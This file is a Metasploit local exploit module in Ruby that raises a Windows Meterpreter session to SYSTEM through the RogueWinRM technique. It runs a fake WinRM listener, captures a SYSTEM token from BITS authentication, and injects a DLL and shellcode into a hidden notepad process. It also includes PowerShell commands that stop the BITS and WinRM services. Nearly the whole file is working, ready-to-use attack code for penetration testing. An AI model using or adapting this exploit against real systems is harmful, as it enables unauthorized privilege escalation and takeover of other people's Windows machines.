75ba9110e2
Utilised it in various existing modules - this should fix some subtle bugs in specific modules' version detection.
305 lines
12 KiB
Ruby
305 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/post/windows/reflective_dll_injection'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
|
|
# Those are integer codes for representing the services involved in this exploit.
|
|
BITS = 1
|
|
WINRM = 2
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
{
|
|
'Name' => 'SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.',
|
|
'Description' => %q{
|
|
This module exploit BITS behavior which tries to connect to the
|
|
local Windows Remote Management server (WinRM) every times it
|
|
starts. The module launches a fake WinRM server which listen on
|
|
port 5985 and triggers BITS. When BITS starts, it tries to
|
|
authenticate to the Rogue WinRM server, which allows to steal a
|
|
SYSTEM token. This token is then used to launch a new process
|
|
as SYSTEM user. In the case of this exploit, notepad.exe is launched
|
|
as SYSTEM. Then, it write shellcode in its previous memory space
|
|
and trigger its execution. As this exploit uses reflective dll
|
|
injection, it does not write any file on the disk. See
|
|
/documentation/modules/exploit/windows/local/bits_ntlm_token_impersonation.md
|
|
for complementary words of information.
|
|
|
|
Vulnerable operating systems are Windows 10 and Windows servers where WinRM is not running.
|
|
Lab experiments has shown that Windows 7 does not exhibit the vulnerable behavior.
|
|
|
|
WARNING:
|
|
|
|
- As this exploit runs a service on the target (Fake WinRM on port
|
|
5985), a firewall popup may appear on target screen. Thus, this exploit
|
|
may not be completely silent.
|
|
|
|
- This exploit has been successfully tested on :
|
|
Windows 10 (10.0 Build 19041) 32 bits
|
|
Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits
|
|
|
|
- This exploit failed because of no BITS authentication attempt on:
|
|
Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits
|
|
|
|
- Windows servers are not vulnerable because a genuine WinRM
|
|
service is already running, except if the user has disabled it
|
|
(Or if this exploit succeed to terminate it).
|
|
|
|
- SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
|
|
required.
|
|
|
|
- BITS must not be running.
|
|
|
|
- This exploit automatically perform above quoted checks.
|
|
run "check" command to run checklist.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Cassandre', # Adapted decoder's POC for metasploit
|
|
'Andrea Pierini (decoder)', # Lonely / Juicy Potato. Has written the POC
|
|
'Antonio Cocomazzi (splinter_code)',
|
|
'Roberto (0xea31)',
|
|
],
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => ['meterpreter'],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'none',
|
|
'WfsDelay' => '120'
|
|
},
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [SCREEN_EFFECTS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
},
|
|
'Payload' => {
|
|
'DisableNops' => true,
|
|
'BadChars' => "\x00"
|
|
},
|
|
'References' => [
|
|
['URL', 'https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/'],
|
|
['URL', 'https://github.com/antonioCoco/RogueWinRM'],
|
|
],
|
|
'DisclosureDate' => '2019-12-06',
|
|
'DefaultTarget' => 0,
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_config_getprivs
|
|
stdapi_sys_config_sysinfo
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_execute
|
|
stdapi_sys_process_thread_create
|
|
]
|
|
}
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
shutdown_service_option_description = [
|
|
'Should this module attempt to shutdown BITS and WinRM services if they are running?',
|
|
'Setting this parameter to true is useful only if SESSION is part of administrator group.',
|
|
'In the common usecase (running as LOCAL SERVICE) you don\'t have enough privileges.'
|
|
].join(' ')
|
|
|
|
winrm_port_option_description = [
|
|
'Port the exploit will listen on for BITS connexion.',
|
|
'As the principle of the exploit is to impersonate a genuine WinRM service,',
|
|
'it should listen on WinRM port. This is in most case 5985 but in some configuration,',
|
|
'it may be 47001.'
|
|
].join(' ')
|
|
|
|
host_process_option_description = [
|
|
'The process which will be launched as SYSTEM and execute metasploit shellcode.',
|
|
'This process is launched without graphical interface so it is hidden.'
|
|
].join(' ')
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SHUTDOWN_SERVICES', [true, shutdown_service_option_description, false]),
|
|
OptPort.new('WINRM_RPORT', [true, winrm_port_option_description, 5985]),
|
|
OptString.new('HOST_PROCESS', [true, host_process_option_description, 'notepad.exe'])
|
|
]
|
|
)
|
|
end
|
|
|
|
#
|
|
# Function used to perform all mandatory checks in order to assess
|
|
# if the target is vulnerable before running the exploit.
|
|
# Basically, this function does the following:
|
|
# - Checks if current session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
|
|
# - Checks if operating system is neither Windows 7 nor Windows XP
|
|
# - Checks if BITS and WinRM are running, and attempt to terminate them if the user
|
|
# has specified the corresponding option
|
|
# - Checks if the session is not already SYSTEM
|
|
def check
|
|
privs = client.sys.config.getprivs
|
|
version = get_version_info
|
|
# Fast fails
|
|
if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?
|
|
print_bad("Operating system: #{version.product_name}")
|
|
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
unless privs.include?('SeImpersonatePrivilege') || privs.include?('SeAssignPrimaryTokenPrivilege')
|
|
print_bad('Target session is missing both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
vprint_good('Target session has either SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.')
|
|
|
|
running_services_code = check_bits_and_winrm
|
|
if running_services_code < 0
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
should_services_be_shutdown = datastore['SHUTDOWN_SERVICES']
|
|
if running_services_code > 0
|
|
if should_services_be_shutdown
|
|
shutdown_service(running_services_code)
|
|
sleep(2)
|
|
running_services_code = check_bits_and_winrm
|
|
end
|
|
if [WINRM, WINRM + BITS].include?(running_services_code)
|
|
print_bad('WinRM is running. Target is not exploitable.')
|
|
return Exploit::CheckCode::Safe
|
|
elsif running_services_code == BITS
|
|
if should_services_be_shutdown
|
|
print_warning('Failed to shutdown BITS.')
|
|
end
|
|
print_warning('BITS is running. Don\'t panic, the exploit should handle this, but you have to wait for BITS to terminate.')
|
|
end
|
|
end
|
|
|
|
if is_system?
|
|
print_bad('Session is already elevated.')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
vprint_good('Session is not (yet) System.')
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
#
|
|
# This function is dedicated in checking if bits and WinRM are running.
|
|
# It returns the running services. If both services are down, it returns 0.
|
|
# If BITS is running, it returns 1 (Because BITS class constant = 1). If
|
|
# WinRM is running, it returns 2. And if both are running, it returns
|
|
# BITS + WINRM = 3.
|
|
def check_bits_and_winrm
|
|
result = cmd_exec('cmd.exe', '/c echo . | powershell.exe Get-Service -Name BITS,WinRM')
|
|
vprint_status('Checking if BITS and WinRM are stopped...')
|
|
|
|
if result.include?('~~')
|
|
print_bad('Failed to retrieve infos about WinRM and BITS. Access is denied.')
|
|
return -1
|
|
end
|
|
|
|
if result.include?('Stopped BITS') && result.include?('Stopped WinRM')
|
|
print_good('BITS and WinRM are stopped.')
|
|
return 0
|
|
end
|
|
|
|
if result.include?('Running BITS') && result.include?('Stopped WinRM')
|
|
print_warning('BITS is currently running. It must be down for the exploit to succeed.')
|
|
return BITS
|
|
end
|
|
|
|
if result.include?('Stopped BITS') && result.include?('Running WinRM')
|
|
print_warning('WinRM is currently running. It must be down for the exploit to succeed.')
|
|
return WINRM
|
|
end
|
|
|
|
if result.include?('Running BITS') && result.include?('Running WinRM')
|
|
print_warning('BITS and WinRM are currently running. They must be down for the exploit to succeed.')
|
|
return BITS + WINRM
|
|
end
|
|
end
|
|
|
|
#
|
|
# Attempt to shutdown services through powershell.
|
|
def shutdown_service(service_code)
|
|
stop_command_map = {
|
|
BITS => 'powershell.exe Stop-Service -Name BITS',
|
|
WINRM => 'powershell.exe Stop-Service -Name WinRM',
|
|
BITS + WINRM => 'powershell.exe Stop-Service -Name BITS,WinRM'
|
|
}
|
|
print_status('Attempting to shutdown service(s)...')
|
|
cmd_exec(stop_command_map[service_code])
|
|
end
|
|
|
|
def exploit
|
|
payload_name = datastore['PAYLOAD']
|
|
payload_arch = framework.payloads.create(payload_name).arch
|
|
winrm_port = datastore['WINRM_RPORT']
|
|
host_process_name = datastore['HOST_PROCESS']
|
|
|
|
if payload_arch.first == ARCH_X64
|
|
dll_file_name = 'drunkpotato.x64.dll'
|
|
vprint_status('Assigning payload drunkpotato.x64.dll')
|
|
elsif payload_arch.first == ARCH_X86
|
|
dll_file_name = 'drunkpotato.x86.dll'
|
|
vprint_status('Assigning payload drunkpotato.x86.dll')
|
|
else
|
|
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign exploit code')
|
|
end
|
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'drunkpotato', dll_file_name)
|
|
library_path = ::File.expand_path(library_path)
|
|
|
|
print_status('Launching notepad to host the exploit...')
|
|
notepad_path = get_notepad_pathname(
|
|
payload_arch.first,
|
|
client.sys.config.getenv('windir'),
|
|
client.arch
|
|
)
|
|
notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true })
|
|
begin
|
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
|
print_good("Process #{process.pid} launched.")
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
# Reader Sandbox won't allow to create a new process:
|
|
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
|
print_error('Operation failed. Trying to elevate the current process...')
|
|
process = client.sys.process.open
|
|
end
|
|
|
|
print_status("Injecting exploit into #{process.pid}...")
|
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
|
|
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
|
formatted_payload = [
|
|
winrm_port.to_s,
|
|
host_process_name,
|
|
payload.encoded.length.to_s,
|
|
payload.encoded
|
|
].join("\x00")
|
|
payload_mem = inject_into_process(process, formatted_payload)
|
|
|
|
# invoke the exploit, passing in the address of the payload that
|
|
# we want invoked on successful exploitation.
|
|
print_status('Payload injected. Executing exploit...')
|
|
process.thread.create(exploit_mem + offset, payload_mem)
|
|
|
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
|
end
|
|
|
|
end
|